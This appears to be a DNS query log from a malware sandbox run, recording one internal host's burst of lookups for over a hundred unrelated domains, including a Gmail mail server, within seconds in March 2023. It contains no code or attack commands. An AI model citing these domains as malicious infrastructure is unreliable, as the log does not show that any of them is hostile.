Mar 10, 2023 07:56:15.780953884 CET	192.168.2.6	8.8.8.8	0x4597	Standard query (0)	gydrozo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.781104088 CET	192.168.2.6	8.8.8.8	0xf6b7	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.790658951 CET	192.168.2.6	8.8.8.8	0xf5eb	Standard query (0)	hbfuels.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.803834915 CET	192.168.2.6	8.8.8.8	0x1bd4	Standard query (0)	scintel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.819853067 CET	192.168.2.6	8.8.8.8	0x2011	Standard query (0)	vonparis.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.827120066 CET	192.168.2.6	8.8.8.8	0xc81a	Standard query (0)	siongann.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.832523108 CET	192.168.2.6	8.8.8.8	0xd3e7	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.837838888 CET	192.168.2.6	8.8.8.8	0x5629	Standard query (0)	kewlmail.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.879765987 CET	192.168.2.6	8.8.8.8	0xe90c	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.884037018 CET	192.168.2.6	8.8.8.8	0x7d8d	Standard query (0)	wantapc.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.895281076 CET	192.168.2.6	8.8.8.8	0x94b8	Standard query (0)	www.hyabmagneter.se	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.897420883 CET	192.168.2.6	8.8.8.8	0x19f5	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.923104048 CET	192.168.2.6	8.8.8.8	0xdc83	Standard query (0)	tabbles.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.925276995 CET	192.168.2.6	8.8.8.8	0x410b	Standard query (0)	infotech.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.954312086 CET	192.168.2.6	8.8.8.8	0xe7dd	Standard query (0)	78san.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.963205099 CET	192.168.2.6	8.8.8.8	0x5f87	Standard query (0)	themark.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:15.975619078 CET	192.168.2.6	8.8.8.8	0x773c	Standard query (0)	www.valselit.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.011153936 CET	192.168.2.6	8.8.8.8	0x51ad	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.039449930 CET	192.168.2.6	8.8.8.8	0xe76a	Standard query (0)	sjbmw.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.039658070 CET	192.168.2.6	8.8.8.8	0x1b0a	Standard query (0)	hamaker.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.047740936 CET	192.168.2.6	8.8.8.8	0xeb8a	Standard query (0)	likangds.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.058228970 CET	192.168.2.6	8.8.8.8	0x1042	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.065733910 CET	192.168.2.6	8.8.8.8	0xf678	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.075544119 CET	192.168.2.6	8.8.8.8	0xbec8	Standard query (0)	duiops.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.078809977 CET	192.168.2.6	8.8.8.8	0xa35c	Standard query (0)	bible.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.082119942 CET	192.168.2.6	8.8.8.8	0xb2c6	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.085486889 CET	192.168.2.6	8.8.8.8	0x21a1	Standard query (0)	thiessen.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.106875896 CET	192.168.2.6	8.8.8.8	0xcaf1	Standard query (0)	riwn.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.127429962 CET	192.168.2.6	8.8.8.8	0x1211	Standard query (0)	hyab.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.167138100 CET	192.168.2.6	8.8.8.8	0x9ae4	Standard query (0)	awal.ws	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.196185112 CET	192.168.2.6	8.8.8.8	0xb430	Standard query (0)	shiner.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.201342106 CET	192.168.2.6	8.8.8.8	0x71e0	Standard query (0)	www.usadig.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.212739944 CET	192.168.2.6	8.8.8.8	0x7c2c	Standard query (0)	www.2print.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.213287115 CET	192.168.2.6	8.8.8.8	0xf2d2	Standard query (0)	ludea.cz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.214601040 CET	192.168.2.6	8.8.8.8	0x3e04	Standard query (0)	ccrsi.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.232147932 CET	192.168.2.6	8.8.8.8	0xc973	Standard query (0)	pccj.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.252696037 CET	192.168.2.6	8.8.8.8	0x5937	Standard query (0)	adventist.ro	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.259742022 CET	192.168.2.6	8.8.8.8	0x6cd6	Standard query (0)	ludea.cz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.268264055 CET	192.168.2.6	8.8.8.8	0x5841	Standard query (0)	dspears.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.271063089 CET	192.168.2.6	8.8.8.8	0xa0f6	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.273552895 CET	192.168.2.6	8.8.8.8	0xb39e	Standard query (0)	mijash3.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.275410891 CET	192.168.2.6	8.8.8.8	0x9d23	Standard query (0)	x96.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.297231913 CET	192.168.2.6	8.8.8.8	0xf799	Standard query (0)	ludea.cz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.311639071 CET	192.168.2.6	8.8.8.8	0xc8cf	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.316319942 CET	192.168.2.6	8.8.8.8	0x2f1c	Standard query (0)	shanks.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.325889111 CET	192.168.2.6	8.8.8.8	0x504e	Standard query (0)	ie-roi.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.327719927 CET	192.168.2.6	8.8.8.8	0xcdf9	Standard query (0)	www.fnsds.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.329910040 CET	192.168.2.6	8.8.8.8	0xfce0	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.335664034 CET	192.168.2.6	8.8.8.8	0x8cf7	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.352087975 CET	192.168.2.6	8.8.8.8	0x31b2	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.420860052 CET	192.168.2.6	8.8.8.8	0x2084	Standard query (0)	usadig.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.436742067 CET	192.168.2.6	8.8.8.8	0x5279	Standard query (0)	ie-roi.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.463752031 CET	192.168.2.6	8.8.8.8	0x4225	Standard query (0)	ie-roi.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.490928888 CET	192.168.2.6	8.8.8.8	0x636b	Standard query (0)	pertex.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.497911930 CET	192.168.2.6	8.8.8.8	0x4a35	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.499890089 CET	192.168.2.6	8.8.8.8	0xd528	Standard query (0)	kairel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.508732080 CET	192.168.2.6	8.8.8.8	0x7cef	Standard query (0)	cqdgroup.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.531517029 CET	192.168.2.6	8.8.8.8	0x5771	Standard query (0)	reproar.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.593061924 CET	192.168.2.6	8.8.8.8	0x33ae	Standard query (0)	from30ty.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.607738018 CET	192.168.2.6	8.8.8.8	0x8e6f	Standard query (0)	hyabmagneter.se	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.621678114 CET	192.168.2.6	8.8.8.8	0xcdc	Standard query (0)	listel.co.jp	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.621678114 CET	192.168.2.6	8.8.8.8	0xfbad	Standard query (0)	nt-hat.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.621678114 CET	192.168.2.6	8.8.8.8	0x16e3	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.621678114 CET	192.168.2.6	8.8.8.8	0x4f74	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.633143902 CET	192.168.2.6	8.8.8.8	0x2913	Standard query (0)	siongann.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.636713982 CET	192.168.2.6	8.8.8.8	0xe6ee	Standard query (0)	www.x0c.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.648417950 CET	192.168.2.6	8.8.8.8	0x94e8	Standard query (0)	ccrsi.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.655306101 CET	192.168.2.6	8.8.8.8	0x1e8	Standard query (0)	calvinly.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.658551931 CET	192.168.2.6	8.8.8.8	0x54d5	Standard query (0)	kayoaiba.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.679140091 CET	192.168.2.6	8.8.8.8	0x6b96	Standard query (0)	anduran.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.680608034 CET	192.168.2.6	8.8.8.8	0xeede	Standard query (0)	tabbles.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.682817936 CET	192.168.2.6	8.8.8.8	0x4352	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.689351082 CET	192.168.2.6	8.8.8.8	0x7dc3	Standard query (0)	bossinst.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.710572004 CET	192.168.2.6	8.8.8.8	0xc0c6	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.720853090 CET	192.168.2.6	8.8.8.8	0xe366	Standard query (0)	pcoyuncu.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.734956026 CET	192.168.2.6	8.8.8.8	0x90b4	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.766555071 CET	192.168.2.6	8.8.8.8	0x4cb1	Standard query (0)	www.pohlfood.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.789814949 CET	192.168.2.6	8.8.8.8	0x559	Standard query (0)	biurohera.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.810019016 CET	192.168.2.6	8.8.8.8	0x8020	Standard query (0)	any-s.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.825644016 CET	192.168.2.6	8.8.8.8	0xe99a	Standard query (0)	www.hyabmagneter.se	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.845669985 CET	192.168.2.6	8.8.8.8	0xbf33	Standard query (0)	canmore.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.845669985 CET	192.168.2.6	8.8.8.8	0x7632	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.886229992 CET	192.168.2.6	8.8.8.8	0x1b37	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.889640093 CET	192.168.2.6	8.8.8.8	0xae3e	Standard query (0)	canmore.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.891041994 CET	192.168.2.6	8.8.8.8	0x21ce	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.910164118 CET	192.168.2.6	8.8.8.8	0xa9d5	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.916158915 CET	192.168.2.6	8.8.8.8	0x2a26	Standard query (0)	canmore.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.916158915 CET	192.168.2.6	8.8.8.8	0x98c4	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.937108040 CET	192.168.2.6	8.8.8.8	0xddff	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.940535069 CET	192.168.2.6	8.8.8.8	0xf10	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.966382027 CET	192.168.2.6	8.8.8.8	0x6bb7	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.973031998 CET	192.168.2.6	8.8.8.8	0xb02a	Standard query (0)	host.do	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.984957933 CET	192.168.2.6	8.8.8.8	0x3863	Standard query (0)	onzcda.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.993144035 CET	192.168.2.6	8.8.8.8	0xdc03	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:16.997046947 CET	192.168.2.6	8.8.8.8	0x200d	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.043695927 CET	192.168.2.6	8.8.8.8	0x63cd	Standard query (0)	yoruksut.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.092220068 CET	192.168.2.6	8.8.8.8	0x201b	Standard query (0)	pers.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.092432022 CET	192.168.2.6	8.8.8.8	0xf71	Standard query (0)	www.koz1.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.125291109 CET	192.168.2.6	8.8.8.8	0xd223	Standard query (0)	hazmatt.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.127227068 CET	192.168.2.6	8.8.8.8	0xa775	Standard query (0)	karmy.com.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.137737036 CET	192.168.2.6	8.8.8.8	0x53cb	Standard query (0)	banvari.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.162081957 CET	192.168.2.6	8.8.8.8	0x6b7b	Standard query (0)	shztm.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.166738987 CET	192.168.2.6	8.8.8.8	0xc135	Standard query (0)	aoinko.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.192349911 CET	192.168.2.6	8.8.8.8	0xe5d6	Standard query (0)	paraski.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.227976084 CET	192.168.2.6	198.32.64.12	0x77	Standard query (0)	com	NS (Name server)	IN (0x0001)	false
Mar 10, 2023 07:56:17.251394033 CET	192.168.2.6	8.8.8.8	0x2d3f	Standard query (0)	noblesse.be	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.256571054 CET	192.168.2.6	8.8.8.8	0x947b	Standard query (0)	captlfix.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.293241978 CET	192.168.2.6	8.8.8.8	0xff51	Standard query (0)	holp-ai.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.351505041 CET	192.168.2.6	8.8.8.8	0x3bad	Standard query (0)	zemarmot.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.369371891 CET	192.168.2.6	8.8.8.8	0xadb3	Standard query (0)	ccssinc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.377820969 CET	192.168.2.6	8.8.8.8	0xd2d4	Standard query (0)	fifa-ews.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.388221025 CET	192.168.2.6	8.8.8.8	0xd7e1	Standard query (0)	tcpoa.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.396064997 CET	192.168.2.6	8.8.8.8	0x913f	Standard query (0)	shiner.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.468564034 CET	192.168.2.6	8.8.8.8	0xf08c	Standard query (0)	gbp-jp.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.515124083 CET	192.168.2.6	8.8.8.8	0x855f	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.517493010 CET	192.168.2.6	8.8.8.8	0x3a8c	Standard query (0)	fortknox.bm	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.563869953 CET	192.168.2.6	8.8.8.8	0x97d2	Standard query (0)	karila.fr	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.576880932 CET	192.168.2.6	8.8.8.8	0x6664	Standard query (0)	duiops.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.579752922 CET	192.168.2.6	8.8.8.8	0x5925	Standard query (0)	dzm.cz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.582070112 CET	192.168.2.6	8.8.8.8	0x84d8	Standard query (0)	snf.it	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.584801912 CET	192.168.2.6	8.8.8.8	0x98b3	Standard query (0)	polprime.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.621587992 CET	192.168.2.6	8.8.8.8	0x44fe	Standard query (0)	yhsll.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.634994984 CET	192.168.2.6	8.8.8.8	0x4f74	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.635056019 CET	192.168.2.6	8.8.8.8	0x16e3	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.645509005 CET	192.168.2.6	8.8.8.8	0x4ce6	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.645509005 CET	192.168.2.6	8.8.8.8	0x6c9c	Standard query (0)	calvinly.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.668461084 CET	192.168.2.6	8.8.8.8	0xdd91	Standard query (0)	mikihan.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.701495886 CET	192.168.2.6	8.8.8.8	0x5469	Standard query (0)	x96.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.753945112 CET	192.168.2.6	8.8.8.8	0x29d2	Standard query (0)	themark.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.831198931 CET	192.168.2.6	8.8.8.8	0x1d9c	Standard query (0)	sgk.home.pl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.883666039 CET	192.168.2.6	8.8.8.8	0xa6d7	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.934200048 CET	192.168.2.6	8.8.8.8	0x4623	Standard query (0)	kumaden.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.946248055 CET	192.168.2.6	8.8.8.8	0x12db	Standard query (0)	mcseurope.nl	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:17.993117094 CET	192.168.2.6	8.8.8.8	0x5e9d	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.047873974 CET	192.168.2.6	8.8.8.8	0x933	Standard query (0)	www.11tochi.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.094757080 CET	192.168.2.6	8.8.8.8	0xfeb2	Standard query (0)	sledsport.ru	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.116374969 CET	192.168.2.6	8.8.8.8	0xcd5	Standard query (0)	kavram.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.164582968 CET	192.168.2.6	8.8.8.8	0xe56a	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.169239044 CET	192.168.2.6	8.8.8.8	0x124e	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.185009956 CET	192.168.2.6	8.8.8.8	0x53a9	Standard query (0)	vvsteknik.dk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.239327908 CET	192.168.2.6	8.8.8.8	0xe942	Standard query (0)	calvinly.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.245825052 CET	192.168.2.6	8.8.8.8	0x5a96	Standard query (0)	nels.co.uk	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.329440117 CET	192.168.2.6	8.8.8.8	0x8d19	Standard query (0)	themark.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.334033966 CET	192.168.2.6	8.8.8.8	0x49f8	Standard query (0)	koz1.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.354098082 CET	192.168.2.6	8.8.8.8	0xbc85	Standard query (0)	pertex.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.356559038 CET	192.168.2.6	8.8.8.8	0x8d77	Standard query (0)	from30ty.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.357089043 CET	192.168.2.6	8.8.8.8	0x135	Standard query (0)	hchc.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.364403963 CET	192.168.2.6	8.8.8.8	0x5e4a	Standard query (0)	kavram.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.365910053 CET	192.168.2.6	8.8.8.8	0x434a	Standard query (0)	koz1.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.383135080 CET	192.168.2.6	8.8.8.8	0x2e06	Standard query (0)	canasil.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.389815092 CET	192.168.2.6	8.8.8.8	0x3201	Standard query (0)	sjbmw.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.397572994 CET	192.168.2.6	8.8.8.8	0x89bf	Standard query (0)	koz1.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.409831047 CET	192.168.2.6	8.8.8.8	0x92b5	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.415630102 CET	192.168.2.6	8.8.8.8	0xea49	Standard query (0)	ncn.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.431992054 CET	192.168.2.6	8.8.8.8	0xed19	Standard query (0)	bidroll.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.440618038 CET	192.168.2.6	8.8.8.8	0xa552	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.466048002 CET	192.168.2.6	8.8.8.8	0xfccd	Standard query (0)	a-domani.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.472631931 CET	192.168.2.6	8.8.8.8	0xeff5	Standard query (0)	ludea.cz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.481345892 CET	192.168.2.6	8.8.8.8	0x339	Standard query (0)	kairel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.481345892 CET	192.168.2.6	8.8.8.8	0xd504	Standard query (0)	web-york.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.485924959 CET	192.168.2.6	8.8.8.8	0x930c	Standard query (0)	agitz.com.br	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.491018057 CET	192.168.2.6	8.8.8.8	0x855f	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.499547005 CET	192.168.2.6	8.8.8.8	0x90ca	Standard query (0)	ludea.cz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.529567003 CET	192.168.2.6	8.8.8.8	0xf8ea	Standard query (0)	ludea.cz	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.543621063 CET	192.168.2.6	8.8.8.8	0xe4d0	Standard query (0)	ikulani.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.549216986 CET	192.168.2.6	8.8.8.8	0x2396	Standard query (0)	assideum.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.577589035 CET	192.168.2.6	8.8.8.8	0x5ed5	Standard query (0)	jnf.at	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.581393957 CET	192.168.2.6	8.8.8.8	0xefcc	Standard query (0)	from30ty.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.589061022 CET	192.168.2.6	8.8.8.8	0xd16a	Standard query (0)	www.wnsavoy.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.610189915 CET	192.168.2.6	8.8.8.8	0xcd4d	Standard query (0)	midap.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.631674051 CET	192.168.2.6	8.8.8.8	0xba71	Standard query (0)	captlfix.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.694077969 CET	192.168.2.6	8.8.8.8	0x4ce6	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.764534950 CET	192.168.2.6	8.8.8.8	0xffcf	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.769016981 CET	192.168.2.6	8.8.8.8	0x8620	Standard query (0)	piacton.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.815679073 CET	192.168.2.6	8.8.8.8	0x704c	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.840842962 CET	192.168.2.6	8.8.8.8	0x5ab	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.860773087 CET	192.168.2.6	8.8.8.8	0xc92	Standard query (0)	popbook.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.891037941 CET	192.168.2.6	8.8.8.8	0x8cd2	Standard query (0)	piacton.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.937689066 CET	192.168.2.6	8.8.8.8	0x3c7	Standard query (0)	vfcindia.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:18.959140062 CET	192.168.2.6	8.8.8.8	0xdce4	Standard query (0)	www.pb-games.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.031497002 CET	192.168.2.6	8.8.8.8	0x850d	Standard query (0)	rappich.de	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.032740116 CET	192.168.2.6	8.8.8.8	0xafb7	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.084588051 CET	192.168.2.6	8.8.8.8	0xd47c	Standard query (0)	atbauk.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.087090969 CET	192.168.2.6	8.8.8.8	0xca70	Standard query (0)	johnlyon.org	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.091408968 CET	192.168.2.6	8.8.8.8	0xab6	Standard query (0)	dyag-eng.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.117594957 CET	192.168.2.6	8.8.8.8	0x11d3	Standard query (0)	piacton.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.122955084 CET	192.168.2.6	8.8.8.8	0x53d8	Standard query (0)	stopllc.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.129040956 CET	192.168.2.6	8.8.8.8	0x9e8	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.201524019 CET	192.168.2.6	8.8.8.8	0x10d0	Standard query (0)	bggs.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.263796091 CET	192.168.2.6	8.8.8.8	0x9030	Standard query (0)	cqdgroup.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.291960001 CET	192.168.2.6	8.8.8.8	0x76fa	Standard query (0)	scintel.com	A (IP address)	IN (0x0001)	false
Mar 10, 2023 07:56:19.328646898 CET	192.168.2.6	8.8.8.8	0x4f7c	Standard query (0)	gydrozo.ru	A (IP address)	IN (0x0001)	false
